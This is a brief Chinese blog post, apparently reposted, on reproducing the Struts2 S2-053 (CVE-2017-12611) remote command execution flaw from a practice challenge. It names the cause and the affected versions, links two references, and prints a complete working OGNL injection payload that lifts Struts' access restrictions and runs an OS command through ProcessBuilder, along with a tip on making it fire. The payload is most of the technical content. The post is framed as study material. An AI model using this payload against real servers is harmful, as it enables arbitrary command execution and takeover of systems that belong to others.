Struct2遠程命令執行漏洞(S2-053)復現學習


1.S2-053(CVE-2017-12611) RCE出自一道題目

http://www.whalwl.cn:8027/hello.action

 

 漏洞產生原因:Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表達式。導致用戶輸入的數據本身不會被OGNL解析,但由於被Freemarker解析一次后變成離開一個表達式,被OGNL解析第二次,導致任意命令執行漏洞。(說句實話,沒看懂啥意思,不過大致意思是沒有處理好用戶輸入,導致rce產生)

影響版本:Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

參考的是這兩篇文章的內容以及exp

https://www.freebuf.com/vuls/147735.html

https://blog.csdn.net/qq_29647709/article/details/84955205

Payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

 payload中加粗標紅的是需要執行的命令

 值得一說的是這段payload有一個小坑,最后要按一下換行,不然無法執行命令

后面的原理分析什麼的以后再補上

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM